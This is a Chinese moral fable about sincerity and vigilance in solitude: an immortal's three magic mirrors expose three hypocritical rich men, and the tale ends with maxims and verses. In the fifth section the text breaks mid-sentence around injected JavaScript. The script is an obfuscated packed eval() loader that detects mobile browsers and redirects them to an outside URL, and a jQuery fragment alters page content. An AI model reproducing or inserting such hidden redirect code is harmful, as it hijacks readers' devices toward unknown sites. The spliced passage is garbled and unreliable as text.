楔子三面镜
淮水之阴有山城名“诚邑”,城中有“三面阁”,阁藏奇镜:一曰“自照镜”,人前对之,可见己之形容;二曰“他心镜”,暗处对之,可见人之肺肝;三曰“十目镜”,独处对之,如十目所视、十手所指。相传为前朝隐士所铸,铭曰“君子慎独”。
然百年以降,三镜蒙尘。邑中有三富室:东街金员外,人前施粥,人后盘剥;西巷钱掌柜,明面赊欠,暗地重利;南市孙东家,堂上孝子,室内虐仆。三人皆伪善,然邑人畏其势,莫敢言。
是岁上元,三镜忽生异象:自照镜中,金员外照出骷髅面;他心镜中,钱掌柜照出蛇蝎肠;十目镜中,孙东家照出百目围视。三人惊惧,延僧道禳解无效。
正月十六,城中演“慎独戏”,搬演曾子“十目所视”故事。正至高潮,忽闻后台一声清啸,但见戏台梁上一道白影翻身而下——竟从“天宫”布景的云朵中飘然落地。
来人头戴素纱帷笠,垂纱及肩,面覆鲛绡,隐约只见眼眸清冽如寒泉;身着月白纻麻深衣,衣摆缀七星,暗合天罡;外罩素罗半臂,以银线绣流云纹,行动时云纹荡漾,恍若御风。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如岁轮,似蕴千年岁月。足踏六合靴,靴尖微翘,不染尘泥。
身形高挑,立于台上,帷笠轻纱无风自动。满场寂然,分不清是戏是人,是仙是凡。
来人执木剑,点地三下,声如金玉:
“所谓诚其意者:毋自欺也!”
又点三下:
“小人闲居为不善,无所不至,见君子而后厌然,掩其不善,而著其善。”
再点三下:
“十目所视,十手所指,其严乎!”
诵罢,木剑指台下三富室:“三位员外,可愿对镜一观?”
三人色变。来人飘然下台,衣袂不掀尘埃:“某有三桩‘慎独’公案,可请三位分观。观毕,再论诚意。”
一、 自欺谳(金员外)
金员外有米行,常以陈米充新,沙石掺谷。人前设粥棚,人后提斗秤。是日,米行前有老妪泣:“昨日购米三升,沙有半升,吾儿噎伤…”
金员外叱:“刁妇诬赖!”命仆驱之。
来人引金员外至自照镜前。镜中金员外锦衣玉带,然面目渐腐,终成骷髅。金员外骇退。
“镜非妖,是心映。”来人问,“员外可闻‘如恶恶臭,如好好色’?恶臭自然厌,好色自然喜,此谓自谦(慊)——心安理得。今员外行不善而伪善,可自谦否?”
金员外强辩:“吾行善多年…”
“行善为名,是自欺;行恶为实,是真性。”来人取米一斗,倾于镜前,沙石毕现,“此米,员外可自食否?”
金员外语塞。来人曰:“毋自欺也。欺人易,欺心难。镜中骷髅,是尔心相。心已腐,面岂不腐?”
又引至粥棚,时值正午,饥民排队。来人问一稚子:“此粥可饱否?”
稚子啜泣:“粥稀见底…”
来人取勺搅粥,竟捞起鼠骸。众哗然。金员外面如死灰。
“小人闲居为不善,无所不至。”来人朗声,“员外闭门时,可曾想此粥棚?可曾想掺沙米?可曾心安?今镜现真相,是警尔:诚意,先不自欺。”
金员外伏地泣:“吾…吾知罪!”遂开仓赈米,尽易新粮。是夜,自照镜中骷髅渐复人形,然眉心一点黑,终不褪。
来人曰:“此黑点,是前愆。虽改过,痕犹在。慎独之功,贵在始终。”
二、 掩善谳(钱掌柜)
钱掌柜开当铺,重利盘剥。有寒士典祖传砚,期三月,钱掌柜暗改票据为半月。寒士逾期,砚没。寒士讼于官,钱掌柜呈假票,胜诉。
来人引钱掌柜至他心镜前。镜中钱掌柜捧账册,然腹中钻出蛇蝎,绕册而噬。钱掌柜掩面。
“人之视己,如见其肺肝然。”来人问,“掌柜可觉,近日背生芒刺,夜多惊梦?”
钱掌柜颤声:“然…”
“此即肺肝自现。尔掩不善,而著其善,然不善在中,形必于外。譬如怀臭,人皆掩鼻;譬如藏奸,神鬼共嫉。”
取假票与真票并置镜前,镜中竟现两票叠影,假票字迹浮凸如蚓。钱掌柜骇绝。
“他心镜,非照他心,是照己心之暗处。”来人道,“尔改票时,可有一念不安?此不安,即是良知。今镜现真相,是良知不灭。”
又引至当铺,寒士正跪门前泣诉。来人问:“掌柜,此砚值几何?”
“值…十两。”
“寒士祖德值几何?”
钱掌柜汗下。来人取砚,以指叩之,砚底竟脱落,中藏血书,乃寒士先祖戍边遗笔:“宁碎砚,不降虏。”满街动容。
“砚有魂,人岂无心?”来人叹,“尔掩不善,而魂不昧;著伪善,而心不安。何苦?”
钱掌柜大恸,还砚谢罪,更焚假票,改行规。是夜,他心镜中蛇蝎渐萎,然蛇首一枚,化石刻于腹。
来人曰:“此石,是前过之印。虽改,印不灭。慎独之要,在初念即正。”
三、 十目谳(孙东家)
孙东家有染坊,虐仆甚酷。仆阿三失手污锦,孙东家命鞭笞三十,囚于柴房。阿三老母求情,孙东家叱:“贱奴命,不如一匹锦!”
来人引孙东家至十目镜前。镜中孙东家方举鞭,忽有百目自四方现,瞪视如电;百手自虚空出,指戳如戟。孙东家惊倒。
“十目所视,十手所指,其严乎!”来人问,“东家可闻夜间鞭声回响?可闻暗处泣声呜咽?”
孙东家战栗:“有…有…”
“此即天视天听。尔以为独处可妄为,岂知独处正是鬼神共监之时。”
引至柴房,阿三已奄奄。来人取木剑轻点其额,阿三苏。老母拜泣。
“富润屋,德润身。”来人指孙东家华服,“尔屋华,身可润?心可安?体可胖(舒泰)?”
孙东家赧然。来人又指阿三伤痕:“此伤在身,亦在尔心。每鞭一下,尔心多一痕;每囚一日,尔德损一分。今镜中百目,是尔心上伤痕所化。”
孙东家泣拜,释仆医伤,更分家产之三成恤贫。是夜,十目镜中百目渐隐,然正中一目永睁,如天眼。
来人曰:“此目,是天监。虽改,监常在。慎独之极,在不愧屋漏。”
四、 诚意会
三人悔改,聚于三面阁。来人指阁额“慎独”二字:
“诚意,在毋自欺。三位初时自欺欺人,故镜现异象。今虽改,然痕印尚在,可知慎独之功,非一时,是一世。”
金员外问:“吾眉心黑点,如何可消?”
“真诚行善,不杂伪心。黑点自淡,然不可尽消。前愆如刻木,痕永在,警后来。”
钱掌柜问:“吾腹中石印,如何可化?”
“真诚悔过,永不再犯。石印自小,然不可尽化。前过如凿石,印永在,惕将来。”
孙东家问:“吾镜中天目,如何可闭?”
“真诚修德,心无愧怍。天目自柔,然不可尽闭。天监如日月,照永在,勉终生。”
三人拜服。来人遂率众重拭三镜,更于阁中立“诚意碑”,刻《大学》“诚意”章全文。碑阴题:
“自欺者,镜现骷髅;
掩善者,镜现蛇蝎;
亏心者,镜现十目。
三镜非妖,
人心自照。
君子慎独,
在诚其意。
意诚则心安,
心安则德润,
德润则身泰,
身泰则屋华。
富润屋,德润身,
心广体胖是真人。”
碑成,三镜复明如常。自此,诚邑富室多行善,慎独成风。
五、 独处谳
越三月,来人将行。三富室于三面阁设宴饯别。席间,忽有邑吏急报:城隍庙祝夜盗香火钱,被擒。庙祝辩:“夜深独处,孰人可见?”
来人莞尔:“可引至十目镜前。”
庙祝对镜,果见十目灼灼,惊伏认罪。满座慨叹。
来人曰:“慎独非畏人知,是畏己知。人可欺,己不可欺;人可见,己已先见。此谓‘诚于中,形于外’。今庙祝盗钱,虽无人见,然盗时手颤,藏时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088222|195403||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心跳,寝时梦魇,此皆形也。岂真能掩?”
又指三富室:“三位前日之过,亦如是:金员外掺沙,手必抖;钱掌柜改票,气必虚;孙东家虐仆,眠必惊。此皆形于外,不过自掩耳目耳。”
三人心服。来人取木剑,就阁外地划一圈:
“此圈内,诸君试独处一刻,自省可有不善之念?”
众人入圈,闭目静思。一刻后,金员外汗出:“吾思及旧债未偿…”钱掌柜赧然:“吾忆及假账未销…”孙东家泣:“吾念及仆伤未愈…”
来人拊掌:“此即慎独之功。独处时,念头最真。能自省自克,是诚意根基。”
遂教“慎独法”:每夜静坐,自问今日“可有自欺?可有掩过?可亏心?”有则记之,明日改之。众人遵行,诚邑风气愈淳。
尾声慎独谣
三年后,诚邑夜不闭户。有外邑奸商来,欲售伪药,见邑童游戏,唱《慎独谣》:
“诚意先毋自欺,
如恶恶臭好好色。
小人闲居做坏事,
见人掩恶心惴惴。
十目所视十手指,
富润屋来德润身。
君子必先诚其意,
慎独功夫在真心。”
奸商惭退。适来人策马再过,闻童谣,下马问:“汝等慎独,独处时可有不善念?”
童答:“先生教,有念即记,明日改。”
“可难否?”
“初难,久成习。如恶臭自然厌,不消强忍。”
来人莞尔,取木剑划地,现八字:
“慎独非束,
是心安泰。
诚意非苦,
是性自然。”
童拜问:“先生,可能永驻?”
来人指心:“慎独在尔心,何需外求?”踏鞍上马,衣袂飘举,竟纵马直上城楼,自雉堞间一跃而下,落入护城河——然人马未沉,踏波如履平地,转瞬逝于烟水之间。
满城惊睹,方知是仙。自此,诚邑又名“慎独邑”。
后百年,三面阁犹存。有书生夜读阁中,倦伏案,梦来人执木剑点其额:“子白日见利心动,可自知?”
书生惊寤,汗透重衣。翌日,还拾遗金。人问:“夜独无人,何以不匿?”
书生指阁上“慎独”匾:“十目所视,敢不诚乎?”
本章诫世
一、 毋自欺
- 诚其意者,毋自欺也。如恶恶臭,如好好色
- 破解法:遇事自问:我可自欺?此事如恶臭自然厌否?如好色自然好否?
- 示例:金员外掺沙,是自欺;对镜现骷髅,是心相
二、 慎独
- 君子必慎其独。小人闲居为不善,见君子而后厌然
- 惕世:多少人“人前是佛,人后是魔”?多少“善行”是做给人看?
- 反思:我独处时,可有不善念?可有愧怍行?
三、 十目所指
- 十目所视,十手所指,其严乎!富润屋,德润身
- 深层隐喻:天知地知,你知我知。独处正是天监最严时
- 终极指向:诚意在慎独。意诚则德润,德润则身泰,自然心广体胖
慎独偈:
诚邑三富伪善行,三面镜照肺肝情。
金员掺沙骷髅现,钱贾改票蛇蝎狞。
孙东虐仆十目指,三子骇绝拜泣诚。
白衣示以慎独法,毋自欺兮诚意明。
富润屋兮德润身,心广体胖是坦平。
至今三镜阁中挂,犹照世人独处贞。
后世叹:
诚意先须毋自欺,慎独功夫不可移。
小人闲居为不善,见君掩恶心怵惕。
十目所视十手指,富润屋宇德润肌。
寄语世间独处客,莫道无人可欺罔。
正是:
诚意慎独毋自欺,如恶恶臭好美姿。
小人闲居为不善,见君掩恶心怵惕。
十目所视十手指,富润屋宇德润肌。
三面镜中肺肝现,白衣指点诚意基。